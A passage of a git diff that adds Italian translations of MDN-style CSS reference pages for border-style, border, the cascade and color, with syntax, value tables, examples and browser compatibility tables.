+  <li><a class="external" href="http://www.w3.org/TR/CSS1#border-bottom" rel="external nofollow" title="http://www.w3.org/TR/CSS1#border-bottom">CSS 1</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-shorthand-properties" rel="external nofollow" title="http://www.w3.org/TR/CSS21/box.html#border-shorthand-properties">CSS 2.1</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands" rel="external nofollow" title="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a></li>
+ </ul>
+</div>
+<div id="section_7">
+ <h3 class="editable" id="Compatibilità_tra_browser">Compatibilità tra browser</h3>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Browser</th>
+    <th>Versione più vecchia</th>
+   </tr>
+   <tr>
+    <td>Internet Explorer</td>
+    <td>4</td>
+   </tr>
+   <tr>
+    <td>Firefox</td>
+    <td>1</td>
+   </tr>
+   <tr>
+    <td>Netscape</td>
+    <td>4</td>
+   </tr>
+   <tr>
+    <td>Opera</td>
+    <td>3.5</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="section_8">
+ <h3 class="editable" id="Vedere_anche">Vedere anche</h3>
+ <p><span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border" rel="internal" title="../../it/CSS/border">border</a></code></span> , <span class="lang lang-en"><code><strong>border-bottom</strong></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-width" rel="internal" title="../../it/CSS/border-bottom-width">border-bottom-width</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-style" rel="internal" title="../../it/CSS/border-bottom-style">border-bottom-style</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-bottom-color" rel="internal" title="../../it/CSS/border-bottom-color">border-bottom-color</a></code></span> .</p>
+</div>
+<p> </p>
diff --git a/files/it/web/css/border-style/index.html b/files/it/web/css/border-style/index.html
new file mode 100644
index 0000000000..6776c16da4
--- /dev/null
+++ b/files/it/web/css/border-style/index.html
@@ -0,0 +1,229 @@
+---
+title: border-style
+slug: Web/CSS/border-style
+translation_of: Web/CSS/border-style
+---
+<div>{{CSSRef}}</div>
+
+<div>La proprietà <strong><code>border-style</code></strong> è una shorthand usata per modificare lo stile del bordo per tutti e quattro i lati dell'elemento.</div>
+
+<div></div>
+
+<pre class="brush: css no-line-numbers">/* Applicato a tutti 4 i lati */
+border-style: dashed;
+
+/* verticale | orrizzontale */
+border-style: dotted solid;
+
+/* superiore | orizzontale | inferiore */
+border-style: hidden double dashed;
+
+/* superiore | destra | inferiore | sinistra */
+border-style: none solid dotted dashed;
+
+/* Valori globali */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+</pre>
+
+<div class="note"><strong>Nota:</strong> Il valore di default di <code>border-style</code> è <code>none</code>. Questo significa che se si cambia il {{ Cssxref("border-width") }} e il <span style="white-space: nowrap;">{{ Cssxref("border-color") }},</span> non si vedrà il bordo almeno che non si cambi questa proprietà in qualcosa che non sia <code>none</code> o <code>hidden</code>.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<p>La proprietà <code>border-style</code> può essere specificata usando uno, due, tre o quattro valori.</p>
+
+<ul>
+ <li><strong>Un solo</strong> valore viene applicato a tutti e quattro i bordi.</li>
+ <li>Specificando<strong> due </strong>valori, il primo verrà applicato <strong>top e bottom</strong>, il secondo come <strong>left e right</strong>.</li>
+ <li>Con <strong>tre</strong> valori, il primo verrà applicato come <strong>top</strong>, il secondo a <strong>left e right</strong> e il terzo al <strong>bottom</strong>.</li>
+ <li>Specificando <strong>quattro</strong> valori si applicheranno <strong>top</strong>, <strong>right</strong>, <strong>bottom</strong> e <strong>left</strong> in questo ordine (orario).</li>
+</ul>
+
+<p>Ogni valore è una keyword scelta dalla seguente lista.</p>
+
+<h3 id="Valori">Valori</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>E' una keyword che descrive lo stile del bordo inferiore (bottom). Può avere i seguenti valori:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td style="vertical-align: middle;"><code>none</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Come per la keyword <code>hidden</code>, nasconde il bordo. In questo caso, tranne se è impostata un' immagine di sfondo, il valore calcolato di {{ cssxref("border-width") }} sarà 0, anche se specificato altrimenti attraverso la proprietà. Nel caso di una cella in una tabella e border collapsing, il valore <code>none</code> ha la priorità minore: significa che se è specificato qualche altro bordo, questo verrà mostrato.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>hidden</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: hidden; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Come per la keyword <code>hidden</code>, nasconde il bordo. In questo caso, tranne se è impostata un' immagine di sfondo, il valore calcolato di {{ cssxref("border-width") }} sarà 0, anche se specificato altrimenti attraverso la proprietà. Nel caso di una cella in una tabella e border collapsing, il valore ha priorità maggiore: significa che se è specificato qualche altro bordo, questo non verrà mostrato.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>dotted</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: dotted; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra una serie di punti arrotondati. Lo spazio tra i punti non è definito nella specifica. Il raggio dei punti è calcolato metà di {{ cssxref("border-width") }}.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>dashed</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: dashed; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra una serie di di linee quadrettate. L'esatta dimensione e lunghezza dei segmenti non sono definiti nella specifica.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>solid</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: solid; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra una singola dritta e solida linea.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>double</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: double; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra due linee dritte che vengono aggiunte all'ammontare di pixel definito come {{ cssxref("border-width") }} .</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>groove</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: groove; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra un bordo che porta ad un effetto intagliato. È l'opposto di <code>ridge</code>. </td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>ridge</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: ridge; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra un bordo che porta ad un effetto 3D, come se venisse fuori dalla pagina. È l'opposto di  <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>inset</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: inset; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Mostra un bordo che fa apparire il box incassato.<br>
+     E' l'opposto di <code>outset.</code> Quando viene applicato ad una cella in una tabella con {{ cssxref("border-collapse") }} come <code>collapsed</code>, questo valore si comporta come <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>outset</code></td>
+    <td style="vertical-align: middle;">
+     <div style="border-width: 3px; border-style: outset; margin: 0.5em; width: 3em; height: 3em; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">
+     <p>Mostra un bordo che fa apparire il box in 3D, in rilievo. E' l'opposto di <code>inset</code>. Quando applicato ad una cella in una tabella con {{ cssxref("border-collapse") }} come <code>collapsed</code>, questo valore si comporta come <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Sintassi_Formale">Sintassi Formale</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Table_with_all_property_values" name="Table_with_all_property_values">Tabella con tutti i valori della proprietà</h3>
+
+<p>Ecco un esempio con tutti i valori che la proprietà può assumere</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+    &lt;tr&gt;
+        &lt;td class="b1"&gt;none&lt;/td&gt;
+        &lt;td class="b2"&gt;hidden&lt;/td&gt;
+        &lt;td class="b3"&gt;dotted&lt;/td&gt;
+        &lt;td class="b4"&gt;dashed&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td class="b5"&gt;solid&lt;/td&gt;
+        &lt;td class="b6"&gt;double&lt;/td&gt;
+        &lt;td class="b7"&gt;groove&lt;/td&gt;
+        &lt;td class="b8"&gt;ridge&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+        &lt;td class="b9"&gt;inset&lt;/td&gt;
+        &lt;td class="b10"&gt;outset&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Definizione stile tabella */
+table {
+    border-width: 3px;
+    background-color: #52E396;
+}
+tr, td {
+    padding: 2px;
+}
+
+/* border-style classi di esempio */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{ EmbedLiveSample('Table_with_all_property_values', 300, 200) }}</p>
+
+<h2 id="Specific​he">Specific​he</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#border-style', 'border-style') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Added <code>hidden</code></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#border-style', 'border-style') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.border-style")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Le proprietà shorthand CSS relative al bordo: {{ Cssxref("border") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-radius") }}</li>
+</ul>
diff --git a/files/it/web/css/border/index.html b/files/it/web/css/border/index.html
new file mode 100644
index 0000000000..2e903b8520
--- /dev/null
+++ b/files/it/web/css/border/index.html
@@ -0,0 +1,109 @@
+---
+title: border
+slug: Web/CSS/border
+translation_of: Web/CSS/border
+---
+<p> </p>
+<div id="section_1">
+ <h3 class="editable" id="Sommario"><span>Sommario</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p>La proprietà <code>border</code> è una abbreviazione per impostare in una sola volta i valori individuali di border. <code>border</code> può essere usata per impostare uno o più dei seguenti valori: <span class="lang lang-en"><code><a href="../../../../en/CSS/border-width" rel="internal">border-width</a></code></span> , <span class="lang lang-en"><code><a href="../../../../en/CSS/border-style" rel="internal">border-style</a></code></span> , <span class="lang lang-en"><code><a href="../../../../en/CSS/border-color" rel="internal">border-color</a></code></span> .</p>
+ <ul>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/initial_value" rel="internal">Valore iniziale</a> </span>: per i dettagli, guarda le singole proprietà</li>
+  <li>Si applica a:tutti gli elementi</li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/inheritance" rel="internal">Ereditabile</a> </span>: no</li>
+  <li>Percentuali: no</li>
+  <li>Media: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/Media/Visual" rel="internal">visual</a></code></span> </span></li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/computed_value" rel="internal">Valore riconosciuto</a> </span>: guarda le singole proprietà</li>
+ </ul>
+</div>
+<div id="section_2">
+ <h3 class="editable" id="Sintassi"><span>Sintassi</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <pre class="eval">border:  [ &lt;border-width&gt; || &lt;border-style&gt; || &lt;border-color&gt; ] | inherit
+</pre>
+</div>
+<div id="section_3">
+ <h3 class="editable" id="Valori"><span>Valori</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <dl>
+  <dt>
+   border-width</dt>
+  <dd>
+   <em>Opzionale</em>, se è assente viene usato il valore di default<code> medium</code>. Vedi <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-width" rel="internal" title="../../it/CSS/border-width">border-width</a></code></span> .</dd>
+  <dt>
+   border-style </dt>
+  <dd>
+   <em>Richiesto</em>, se è assente viene usato il valore di default<code> none</code>. Vedi <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-style" rel="internal" title="../../it/CSS/border-style">border-style</a></code></span> .</dd>
+  <dt>
+   border-color </dt>
+  <dd>
+   <em>Opzionale</em>, se è assente il valore di default è la proprietà <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/color" rel="internal" title="../../it/CSS/color">color</a></code></span> (colore di primo piano). Vedi <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-color" rel="internal" title="../../it/CSS/border-color">border-color</a></code></span> .</dd>
+ </dl>
+</div>
+<div id="section_4">
+ <h3 class="editable" id="Esempi"><span>Esempi</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p><span class="lang lang-en"><a class="external" href="http://developer.mozilla.org/samples/cssref/border.html" rel="external nofollow" title="http://developer.mozilla.org/samples/cssref/border.html">Guarda gli esempi dal vivo</a> </span></p>
+ <pre>element { border: dashed }          /* bordo tratteggiato di medio spessore, lo stesso colore del testo */
+element { border: dotted 1.5em }    /* bordo spesso 1.5em a punti, lo stesso colore del testo */
+element { border: solid red }       /* bordo rosso continuo di medio spessore */
+element { border: solid blue 10px } /* bordo continuo blu spesso 10px */
+</pre>
+</div>
+<div id="section_5">
+ <h3 class="editable" id="Note"><span>Note </span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p>Mentre le proprietà <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-width" rel="internal" title="../../it/CSS/border-width">border-width</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-style" rel="internal" title="../../it/CSS/border-style">border-style</a></code></span> , e <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-color" rel="internal" title="../../it/CSS/border-color">border-color</a></code></span> accettano fino a quattro valori, questa proprietà accetta solo un valore per ciascuna.</p>
+</div>
+<div id="section_6">
+ <h3 class="editable" id="Specifiche"><span>Specifiche</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <ul>
+  <li><a class="external" href="http://www.w3.org/TR/CSS1#border" rel="external nofollow" title="http://www.w3.org/TR/CSS1#border">CSS 1</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-shorthand-properties" rel="external nofollow" title="http://www.w3.org/TR/CSS21/box.html#border-shorthand-properties">CSS 2.1 Box #border-shorthand</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands" rel="external nofollow" title="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3 Backgrounds and Borders #border-shorthand</a></li>
+ </ul>
+</div>
+<div id="section_7">
+ <h3 class="editable" id="Compatibilità_tra_browser"><span>Compatibilità tra browser</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Browser</th>
+    <th>Versione più vecchia</th>
+   </tr>
+   <tr>
+    <td>Internet Explorer</td>
+    <td>4.0</td>
+   </tr>
+   <tr>
+    <td>Firefox</td>
+    <td>1.0</td>
+   </tr>
+   <tr>
+    <td>Safari</td>
+    <td>1.0</td>
+   </tr>
+   <tr>
+    <td>Opera</td>
+    <td>3.5</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="section_8">
+ <h3 class="editable" id="Vedere_anche"><span>Vedere anche</span></h3>
+ <div class="editIcon">
+  <a href="/../../../../en/CSS/border#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p><span class="lang lang-en"><span class="lang lang-en"><code><strong>border</strong></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-width" rel="internal" title="../../it/CSS/border-width">border-width</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-style" rel="internal" title="../../it/CSS/border-style">border-style</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/border-color" rel="internal" title="../../it/CSS/border-color">border-color</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/margin" rel="internal" title="../../it/CSS/margin">margin</a></code></span> , <span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/padding" rel="internal" title="../../it/CSS/padding">padding</a></code></span> </span></p>
+</div>
+<p> </p>
diff --git a/files/it/web/css/cascade/index.html b/files/it/web/css/cascade/index.html
new file mode 100644
index 0000000000..8ce2e4dafc
--- /dev/null
+++ b/files/it/web/css/cascade/index.html
@@ -0,0 +1,149 @@
+---
+title: Cascade
+slug: Web/CSS/Cascade
+translation_of: Web/CSS/Cascade
+---
+<p>{{ CSSRef() }}</p>
+
+<p><span class="seoSummary">The <em>cascade</em> is a fundamental feature of CSS. It is an algorithm defining how to combine properties values originating from different sources. It lies at the core of CSS as stressed by its name: <em>Cascading</em> Style Sheets.</span></p>
+
+<h2 id="What_CSS_entities_participate_in_the_cascade">What CSS entities participate in the cascade</h2>
+
+<p>Only CSS declarations, that is property/value pairs, participate in the cascade. That means that at-rules containing entities other than declarations, like  {{ cssxref("@font-face")}} containing <em>descriptors</em> don't participate in the cascade. In these case, only the at-rule as the whole participates in the cascade; here the @font-face identified by its <code>font-family</code> descriptor. If several <code>@font-face</code> with the same descriptor are defined, only the most adequate <code>@font-face</code>, as a whole, is considered.</p>
+
+<p>If the declarations contained in most <a href="/en-US/docs/CSS/At-rule" title="/en-US/docs/CSS/At-rule">at-rules</a> participate in the cascade, like declarations contained in {{cssxref("@media")}}, {{cssxref("@documents")}}, or {{cssxref("@supports")}}, declarations contained in {{cssxref("@keyframes")}} doesn't. Like for {{cssxref("@font-face")}}, only the at-rule as a whole is selected via the cascade algorithm.</p>
+
+<p>Finally note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.</p>
+
+<h2 id="Origin_of_CSS_declarations">Origin of CSS declarations</h2>
+
+<p>The CSS cascade algorithm wants to select CSS declarations to set the correct value for CSS properties. CSS declarations originate from different origins:</p>
+
+<ul>
+ <li>The browser has a basic style sheet that gives a default style to any document. These style sheets are named <strong>user-agent stylesheets</strong>. Some browsers uses actual style sheets to perform this, while others simulate them in code, but both cases should be indetectable. Some browsers also allow users to modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To ease their development and lower the basic ground on which to work, Web developers often use a CSS reset style sheet, forcing common properties values to a known state.</li>
+ <li>The author of the Web page define styles for the document. These are the most common style sheets. Most of the time several of them are defined and they make the look and feel of the Web site — its theme.</li>
+ <li>The <em>reader</em>, the user of the browser, may have a custom style sheet to tailor its experience.</li>
+</ul>
+
+<p>Though style sheets come from these different origins, they overlap in scope: the cascade algorithm defines how they interact.</p>
+
+<h2 id="Cascading_order">Cascading order</h2>
+
+<p>The cascading algorithm determines how to find the value to apply for each property for each document element.</p>
+
+<ol>
+ <li>It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.</li>
+ <li>Then it sorts these rules according to their importance, that is, whether or not they are followed by <code>!important</code>, and by their origin. The cascade is in ascending order, which means that <code>!important</code> values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet:
+  <table class="standard-table">
+   <thead>
+    <tr>
+     <th scope="col"> </th>
+     <th scope="col">Origin</th>
+     <th scope="col">Importance</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <td>1</td>
+     <td>user agent</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>2</td>
+     <td>user agent</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>3</td>
+     <td>user</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>4</td>
+     <td>author</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>5</td>
+     <td>CSS Animations</td>
+     <td><em>see below</em></td>
+    </tr>
+    <tr>
+     <td>6</td>
+     <td>author</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>7</td>
+     <td>user</td>
+     <td><code>!important</code></td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li>In case of equality, the <a href="/en-US/docs/CSS/Specificity" title="/en-US/docs/CSS/Specificity">specificity</a> of a value is considered to choose one or the other.</li>
+</ol>
+
+<h2 id="CSS_animations_and_the_cascade">CSS animations and the cascade</h2>
+
+<p><a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">CSS Animations</a>, using {{ cssxref("@keyframes")}} at-rules defines animations between states. Keyframes don't cascade, meaning that at any time CSS takes values from one single <code>@keyframes</code> and never mixes several of them.</p>
+
+<p>When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.</p>
+
+<p>Also note that values within <code>@keyframes</code> at-rules overwrite all normal values but are overwritten by <code>!important</code> values.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><strong>User-agent CSS:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 10px }</pre>
+
+<p><strong class="brush:css;">Author CSS 1:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 0 } /* This is a reset */</pre>
+
+<p><strong class="brush:css;">Author CSS 2:</strong></p>
+
+<pre class="brush:css;">@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+</pre>
+
+<p><strong class="brush:css;">User CSS:</strong></p>
+
+<pre class="brush:css;">.specific { margin-left: 1em }</pre>
+
+<p><strong>HTML:</strong></p>
+
+<pre class="brush:html;">&lt;ul&gt;
+  &lt;li class="specific"&gt;1&lt;sup&gt;st&lt;/sup&gt;&lt;/li&gt;
+  &lt;li&gt;2&lt;sup&gt;nd&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>In this case, declarations inside <code>li</code> and <code>.specific</code> rules should apply. No declaration is marked as <code>!important</code> so the precedence order is author style sheets before user style sheets or user-agent stylesheet.</p>
+
+<p>So three declarations are in competition:</p>
+
+<pre class="brush:css;">margin-left: 0</pre>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<pre class="brush:css;">margin-left: 1px</pre>
+
+<p>The last one is ignored (on a screen), and the two first have the same selector, hence the same specificity: it is the last one that is then selected:</p>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<p>Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The very simple <a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Cascading_and_inheritance" title="/en-US/docs/">introduction</a> of cascading in the CSS Tutorial.</li>
+ <li>{{CSS_Key_Concepts()}}</li>
+</ul>
diff --git a/files/it/web/css/color/index.html b/files/it/web/css/color/index.html
new file mode 100644
index 0000000000..04a15799cc
--- /dev/null
+++ b/files/it/web/css/color/index.html
@@ -0,0 +1,81 @@
+---
+title: color
+slug: Web/CSS/color
+translation_of: Web/CSS/color
+---
+<p> </p>
+<div id="section_1">
+ <h3 class="editable" id="Sommario"><span>Sommario</span></h3>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p>La proprietà CSS<code> color </code>imposta il colore di primo piano del contenuto testuale di un elemento.</p>
+ <ul>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/initial_value" rel="internal">Valore iniziale</a> </span>: dipende dal browser in uso</li>
+  <li>Si applica a: tutti gli elementi</li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/inheritance" rel="internal">Ereditabile</a> </span>: sì</li>
+  <li>Percentuali: no</li>
+  <li>Media: <span class="lang lang-en"><span class="lang lang-en"><code><a href="../../../../en/CSS/Media/Visual" rel="internal">visual</a></code></span> </span></li>
+  <li><span class="lang lang-en"><a href="../../../../en/CSS/computed_value" rel="internal">Valore riconosciuto</a> </span>: come speficato</li>
+ </ul>
+</div>
+<div id="section_2">
+ <h3 class="editable" id="Sintassi"><span>Sintassi</span></h3>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <pre>color:  &lt;color&gt; | inherit</pre>
+</div>
+<div id="section_3">
+ <h3 class="editable" id="Valori"><span>Valori</span></h3>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <dl>
+  <dt>
+   &lt;color&gt;</dt>
+  <dd>
+   La proprietà color accetta varie parole chiave e valori numerici. <strong>Vedi i valori di <span class="lang lang-en"><span class="lang lang-en"><code><a class="internal" href="/../../it/CSS/color_value" rel="internal" title="../../it/CSS/color value">&lt;color&gt;</a></code></span> </span></strong>per maggiori dettagli.</dd>
+ </dl>
+</div>
+<div id="section_4">
+ <h3 class="editable" id="Esempi"><span>Esempi</span></h3>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <p>Tutti gli esempi seguenti rendono il testo rosso.</p>
+ <pre>element { color: red }
+element { color: #f00 }
+element { color: #ff0000 }
+element { color: rgb(255,0,0) }
+element { color: rgb(100%, 0%, 0%) }
+element { color: hsl(0, 100%, 50%) }
+
+/* 50% translucent, support since Firefox 3 */
+element { color: rgba(255, 0, 0, 0.5) }
+element { color: hsla(0, 100%, 50%, 0.5) }</pre>
+</div>
+<div id="section_5">
+ <h3 class="editable" id="Specifiche"><span>Specifiche</span></h3>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+ <ul>
+  <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-color" rel="external nofollow" title="http://www.w3.org/TR/CSS21/colors.html#propdef-color">CSS 2.1</a></li>
+  <li><a class="external" href="http://www.w3.org/TR/css3-color/#color" rel="external nofollow" title="http://www.w3.org/TR/css3-color/#color">CSS 3 Color #color</a> Bozza</li>
+ </ul>
+</div>
+<div id="section_6">
+ <h3 class="editable" id="Compatibilità_tra_browser"><span>Compatibilità tra browser</span></h3>
+ <br>
+ <div class="editIcon">
+  <a href="../../../../en/CSS/color#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
